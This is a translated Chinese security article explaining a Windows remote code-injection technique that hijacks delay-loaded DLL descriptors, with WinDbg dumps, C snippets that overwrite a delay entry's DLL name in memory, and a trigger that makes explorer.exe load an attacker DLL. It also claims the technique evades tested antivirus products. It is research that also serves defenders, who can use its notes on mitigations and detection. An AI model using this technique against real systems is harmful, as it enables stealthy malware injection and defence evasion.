【技术分享】利用DLL延迟加载实现远程代码注入

http://p5.qhimg.com/t01decb9b5afc0bfba1.jpg

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在本文中,我们将为读者详细介绍一种新型的远程代码注入技术,实际上,这种技术是我在鼓捣延迟加载DLL时发现的。通过该技术,只要这些进程实现了本文所利用的功能:延迟加载DLL,攻击者可以将任意代码注入到正在运行的任何远程进程中。更准确的说,这并不是一个漏洞利用,而是一种潜入其他进程的策略。 

现代的代码注入技术通常依赖于两个不同的win32 API调用的变体:CreateRemoteThread和NtQueueApc。然而,最近有人发表了一篇非常棒的文章[0],详细介绍了十种进程注入的方法。当然,这些方法并非都能注入到远程进程中,特别是那些已经在运行的进程,但那篇文章针对最常见的各种注入技术进行了非常细致的讲解,这一点是难能可贵的。而本文介绍的这个策略更像是inline hooking技术,不过我们没有用到IAT,并且也不要求我们的代码已经位于该进程中。我们不需要调用NtQueueApc或CreateRemoteThread,也不需要挂起线程或进程。但是,凡事都会或多或少有一些限制,具体情况将在后文中详细介绍。 


延迟加载DLL

延迟加载是一种链接器策略,即允许延迟加载DLL。可执行文件通常会在运行时加载所有必需的动态链接库,然后执行IAT修复。 然而,延迟加载技术却允许这些库直到调用时才加载,为此,可以在第一次调时使用伪IAT进行修复处理。这个过程用下图来进行完美的阐释:

http://p8.qhimg.com/t0111450ce6b3b39dee.png

上图来自1998年Microsoft发布的一篇非常棒的文章[1],尽管该文所描述的策略已经非常棒了,但是这里我们会设法让它更上一个台阶。 

通常PE文件中都含有一个名为IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT的数据目录,您可以使用dumpbin/imports或windbg进行查看,其结构描述详见delayhlp.cpp中,读者可以在WinSDK中找到它: 

struct InternalImgDelayDescr {
    DWORD           grAttrs;        // attributes
    LPCSTR          szName;         // pointer to dll name
    HMODULE *       phmod;          // address of module handle
    PImgThunkData   pIAT;           // address of the IAT
    PCImgThunkData  pINT;           // address of the INT
    PCImgThunkData  pBoundIAT;      // address of the optional bound IAT
    PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT
    DWORD           dwTimeStamp;    // 0 if not bound,
                                    // O.W. date/time stamp of DLL bound to (Old BIND)
    };

这个表内存放的是RVA,而不是指针。 我们可以通过解析文件头来找到延迟目录的偏移量: 

0:022> lm m explorer
start    end        module name
00690000 00969000   explorer   (pdb symbols)          
0:022> !dh 00690000 -f
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
[...] 
   68A80 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    1000 [     D98] address [size] of Import Address Table Directory
   AC670 [     140] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

第一个entry及其延迟链接的DLL可以在以下内容中看到: 

0:022> dd 00690000+ac670 l8
0073c670  00000001 000ac7b0 000b24d8 000b1000
0073c680  000ac8cc 00000000 00000000 00000000
0:022> da 00690000+000ac7b0 
0073c7b0  "WINMM.dll"

这意味着WINMM是动态地链接到explorer.exe的,由于是延迟加载,所以在导入的函数被调用之前,它是不会被加载到进程中的。一旦加载,帮助函数将通过使用GetProcAddress来定位目标函数并在运行时修复这个表,从而完成IAT的修复工作。

引用的伪IAT与标准PE IAT是分开的;该IAT专用于延迟加载功能,并通过延迟描述符进行引用。例如,就WINMM.dll来说,WINMM的伪IAT为RVA 000b1000。第二个延迟描述符entry的伪IAT具有单独的RVA,其他依此类推。

下面我们使用WINMM来说明延迟加载,资源管理器会从WINMM中导入一个函数,即PlaySoundW。在我实验中,它没有被调用,所以伪IAT还没有修复。 我们可以通过转储的伪IAT条目来查看这一点: 

0:022> dps 00690000+000b1000 l2
00741000  006dd0ac explorer!_imp_load__PlaySoundW
00741004  00000000

这里,每个DLL条目都是以null结尾的。上面的指针告诉我们,现有的条目只是在Explorer进程中的跳板。这需要我们: 

0:022> u explorer!_imp_load__PlaySoundW
explorer!_imp_load__PlaySoundW:
006dd0ac b800107400      mov     eax,offset explorer!_imp__PlaySoundW (00741000)
006dd0b1 eb00            jmp     explorer!_tailMerge_WINMM_dll (006dd0b3)
explorer!_tailMerge_WINMM_dll:
006dd0b3 51              push    ecx
006dd0b4 52              push    edx
006dd0b5 50              push    eax
006dd0b6 6870c67300      push    offset explorer!_DELAY_IMPORT_DESCRIPTOR_WINMM_dll (0073c670)
006dd0bb e8296cfdff      call    explorer!__delayLoadHelper2 (006b3ce9)

tailMerge函数是一个链接器生成的存根,它在每个DLL中编译,而不是每个函数。 __delayLoadHelper2函数是处理伪IAT的加载和修补的magic。根据delayhlp.cpp可知,该函数用来处理LoadLibrary/GetProcAddress调用以及修复伪IAT。为了便于演示,我编译了一个延迟链接dnslib的二进制文件。下面是DnsAcquireContextHandle的解析过程: 

0:000> dps 00060000+0001839c l2
0007839c  000618bd DelayTest!_imp_load_DnsAcquireContextHandle_W
000783a0  00000000
0:000> bp DelayTest!__delayLoadHelper2
0:000> g
ModLoad: 753e0000 7542c000   C:Windowssystem32apphelp.dll
Breakpoint 0 hit
[...]
0:000> dd esp+4 l1
0024f9f4  00075ffc
0:000> dd 00075ffc l4
00075ffc  00000001 00010fb0 000183c8 0001839c
0:000> da 00060000+00010fb0 
00070fb0  "DNSAPI.dll"
0:000> pt
0:000> dps 00060000+0001839c l2
0007839c  74dfd0fc DNSAPI!DnsAcquireContextHandle_W
000783a0  00000000

现在伪IAT条目已被修复,这样在后续调用中就能调用正确的函数了。这样,伪IAT就同时具有可执行和可写属性: 

0:011> !vprot 00060000+0001839c
BaseAddress:       00371000
AllocationBase:    00060000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY

此时,DLL已经加载到进程中,伪IAT也已修复。当然,并不是所有的函数都能够在加载时进行解析,相反,只有被调用的函数才能这样。 这会让伪IAT中的某些条目处于混合状态: 

00741044  00726afa explorer!_imp_load__UnInitProcessPriv
00741048  7467f845 DUI70!InitThread
0074104c  00726b0f explorer!_imp_load__UnInitThread
00741050  74670728 DUI70!InitProcessPriv
0:022> lm m DUI70
start    end        module name
74630000 746e2000   DUI70      (pdb symbols)

从上面可以看到,这里只是解析了了四个函数中的两个,并将DUI70.dll库加载到了该进程中。在延迟加载描述符的每个条目中,被引用的结构都会为HMODULE维护一个RVA。 如果模块未加载,它将为空。 所以,当调用已经加载的延迟函数时,延迟助手函数将检查它的条目以确定是否可以使用它的句柄: 

HMODULE hmod = *idd.phmod;
    if (hmod == 0) {
        if (__pfnDliNotifyHook2) {
            hmod = HMODULE(((*__pfnDliNotifyHook2)(dliNotePreLoadLibrary, &dli)));
            }
        if (hmod == 0) {
            hmod = ::LoadLibraryEx(dli.szDll, NULL, 0);
            }

idd结构只是上述InternalImgDelayDescr的一个实例,它将会从链接器tailMerge存根传递给__delayLoadHelper2函数。因此,如果该模块已经被加载,当从延迟条目引用时,它将使用该句柄。

这里另一个注意事项是,延迟加载器支持通知钩子。有六个状态可以供我们挂钩:进程启动,预加载库,加载库出错,预取GetProcAddress,GetProcAddress失败和结束进程。你可以在上面的代码示例中看到钩子的具体用法。

最后,除了延迟加载外,PE文件还支持库的延迟卸载。当然,了解了库的延迟加载后,库的延迟卸载就不用多说了。 


DLL延迟加载技术的局限性

在详细说明我们如何利用DLL延迟加载之前,我们首先来了解一下这种技术的局限性。它不是完全可移植的,并且单纯使用延迟加载功能无法实现我们的目的。

它最明显的局限性在于,该技术要求远程进程被延迟链接。我在自己的主机上简单抓取一些本地进程,它们大部分都是一些Microsoft应用程序:dwm,explorer,cmd。许多非Microsoft应用程序也是如此,包括Chrome。 此外,由于PE格式受到了广泛的支持,所以在许多现代系统上都能见到它的身影。

另一个限制,是它依赖于LoadLibrary,也就是说磁盘上必须存在一个DLL。我们没有办法从内存中使用LoadLibrary。 

除了实现延迟加载外,远程进程必须实现可以触发的功能。我们需要获取伪IAT,而不是执行CreateRemoteThread、SendNotifyMessage或ResumeThread,因此我们必须能够触发远程进程来执行该操作/执行该功能。如果您使用挂起进程/新建进程策略,虽然这本身并不难,但运行应用程序可能并不容易。

最后,任何不允许加载无符号库的进程都能阻止这种技术。这种特性是由ProcessSignaturePolicy控制的,可以使用SetProcessMitigationPolicy [2]进行相应设置;目前还不清楚有多少应用程序正在使用这些应用程序,但是Microsoft Edge是第一个采用该策略的大型产品之一。此外, 该技术也受到ProcessImageLoadPolicy策略的影响,该策略可以设置为限制从UNC共享加载图像。 


利用方法

当讨论将代码注入到进程中的能力时,攻击者可能会想到三种不同的情形,以及远程进程中的一些额外的情况。本地进程注入只是在当前进程中执行shellcode /任意代码。挂起的进程是从现有的受控的进程中产生一个新的挂起的进程,并将代码注入其中。这是一个相当普遍的策略,可以在注入之前迁移代码,建立备份连接或创建已知的进程状态。最后一种情形是运行远程进程。

运行远程进程是一个有趣的情况,我们将在下面探讨其中的几个注意事项。我不会详细介绍挂起的进程,因为它与利用运行的进程的方法基本相同,并且更容易。之所以很容易,因为许多应用程序实际上只在运行时加载延迟库,或者由于该功能是环境所需,或者因为需要链接另一个加载的DLL。这方面的源代码实现请参考文献[3]。 


本地进程

本地进程是这个策略中最简单和最有用的一种方式。 如果我们能够以这种方式来注入和执行代码的话,我们也可以链接到我们想要使用的库。我们需要做的第一件事是延迟链接可执行文件。由于某些原因,我最初选择了dnsapi.dll。 您可以通过Visual Studio的链接器选项来指定延迟加载DLL。

因此,我们需要获取延迟目录的RVA,这可以通过以下函数来完成: 

IMAGE_DELAYLOAD_DESCRIPTOR*
findDelayEntry(char *cDllName)
{
    PIMAGE_DOS_HEADER pImgDos = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
    PIMAGE_NT_HEADERS pImgNt = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDos + pImgDos->e_lfanew);
    PIMAGE_DELAYLOAD_DESCRIPTOR pImgDelay = (PIMAGE_DELAYLOAD_DESCRIPTOR)((LPBYTE)pImgDos + 
            pImgNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress);
    DWORD dwBaseAddr = (DWORD)GetModuleHandle(NULL);
    IMAGE_DELAYLOAD_DESCRIPTOR *pImgResult = NULL;
    // iterate over entries 
    for (IMAGE_DELAYLOAD_DESCRIPTOR* entry = pImgDelay; entry->ImportAddressTableRVA != NULL; entry++){
        char *_cDllName = (char*)(dwBaseAddr + entry->DllNameRVA);
        if (strcmp(_cDllName, cDllName) == 0){
            pImgResult = entry;
            break;
        }
    }
    return pImgResult;
}

得到了相应的表项后,我们需要将条目的DllName标记为可写,用我们的自定义DLL名称覆盖它,并恢复保护掩码: 

IMAGE_DELAYLOAD_DESCRIPTOR *pImgDelayEntry = findDelayEntry("DNSAPI.dll");
DWORD dwEntryAddr = (DWORD)((DWORD)GetModuleHandle(NULL) + pImgDelayEntry->DllNameRVA);
VirtualProtect((LPVOID)dwEntryAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect);
WriteProcessMemory(GetCurrentProcess(), (LPVOID)dwEntryAddr, (LPVOID)ndll, strlen(ndll), &wroteBytes);
VirtualProtect((LPVOID)dwEntryAddr, sizeof(DWORD), dwOldProtect, &dwOldProtect);

现在要做的就是触发目标函数。一旦触发,延迟助手函数将从表条目中阻断DllName,并通过LoadLibrary加载DLL。

远程进程

最有趣的方法是运行远程进程。我们将通过explorer.exe进行演示,因为它最为常见。

为了打开资源管理器进程的句柄,我们必须执行与本地进程相同的搜索任务,但这一次是在远程进程中进行的。虽然这有点麻烦,但相关的代码可以从文献[3]的项目库中找到。实际上,我们只需抓取远程PEB,解析图像及其目录,并找到我们所感兴趣的延迟条目即可。 

当尝试将其移植到另一个进程时,这部分可能是最不友好的;我们的目标是什么?哪个函数或延迟加载条目通常不会被使用,并且可从当前会话触发?对于资源管理器来说,有多个选择;它延迟链接到9个不同的DLL,每个平均有2-3个导入函数。幸运的是,我看到的第一个函数是非常简单:CM_Request_Eject_PC。该函数是由CFGMGR32.dll导出的,作用是请求系统从本地坞站[4]弹出。因此,我们可以假设在用户从未明确要求系统弹出的情况下,它在工作站上是可用的。

当我们要求工作站从坞站弹出时,该函数发送PNP请求。我们使用IShellDispatch对象来执行该操作,该对象可以通过Shell访问,然后交由资源管理器进行处理。

这个代码其实很简单: 

HRESULT hResult = S_FALSE;
IShellDispatch *pIShellDispatch = NULL;
CoInitialize(NULL);
hResult = CoCreateInstance(CLSID_Shell, NULL, CLSCTX_INPROC_SERVER, 
                           IID_IShellDispatch, (void**)&pIShellDispatch);
if (SUCCEEDED(hResult))
{
    pIShellDispatch->EjectPC();
    pIShellDispatch->Release();
}
CoUninitialize();

我们的DLL只需要导出CM_Request_Eject_PC,这不会导致进程崩溃;我们可以将请求传递给真正的DLL,也可以忽略它。所以,我们就能稳定可靠完成远程代码注入了。

远程进程

一个有趣的情况是要注入的远程进程需延迟加载,但所有导入的函数都已在伪IAT中完成解析了。这就有点复杂了,但也不是完全没有希望。

还记得前面提到的延迟加载库的句柄是否保留在其描述符中吗?帮助函数就是通过检查这个值以确定是否应该重新加载模块的;如果其值为null,就会尝试加载模块,如果不是,它就使用该句柄。我们可以通过清空模块句柄来滥用该检查,从而"欺骗"助手函数,让它重新加载该描述符的DLL。 

然而,对于讨论的这种情况来说,伪IAT已经被完全修复了;所以无法将更多的“跳板”可以放入延迟加载帮助函数。 在默认情况下,伪IAT是可写的,所以我们可以直接修改跳板函数,并用它来重新实例化描述符。 简而言之,这种最坏情况下的策略需要三个独立的WriteProcessMemory调用:一个用于清除模块句柄,一个用于覆盖伪IAT条目,一个用于覆盖加载的DLL名称。

结束语

前面说过,我曾经针对下一代AV/HIPS(具体名称这里就不说了)测试过这个策略,它们没有一个能够检测到交叉进程注入策略。针对这种策略的检测看上去是一个有趣的挑战;在远程进程中,策略使用以下调用链: 

OpenProcess(..);
ReadRemoteProcess(..); // read image
ReadRemoteProcess(..); // read delay table 
ReadRemoteProcess(..); // read delay entry 1...n
VirtualProtectEx(..);
WriteRemoteProcess(..);

触发功能在每个进程之间都是动态的,所有加载的库都是通过一些大家熟知的Windows设备来加载。此外,我还检查了其他一些核心的Windows应用程序,它们都有非常简单的触发策略。

引用的文献[3]提供了对于x86和x64系统的支持,并已在Windows 7,8.1和10中通过了测试。它涉及三个函数:inject_local,inject_suspended和inject_explorer。它通过会到C: Windows Temp TestDLL.dll查找该DLL,但这显然是可以更改的。

特别感谢Stephen Breen审阅了这篇文章。

参考文献

[0] https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process 

[1] https://www.microsoft.com/msj/1298/hood/hood1298.aspx 

[2] https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088(v=vs.85).aspx 

[3] https://github.com/hatRiot/DelayLoadInject 

[4] https://msdn.microsoft.com/en-us/library/windows/hardware/ff539811(v=vs.85).aspx 

(完)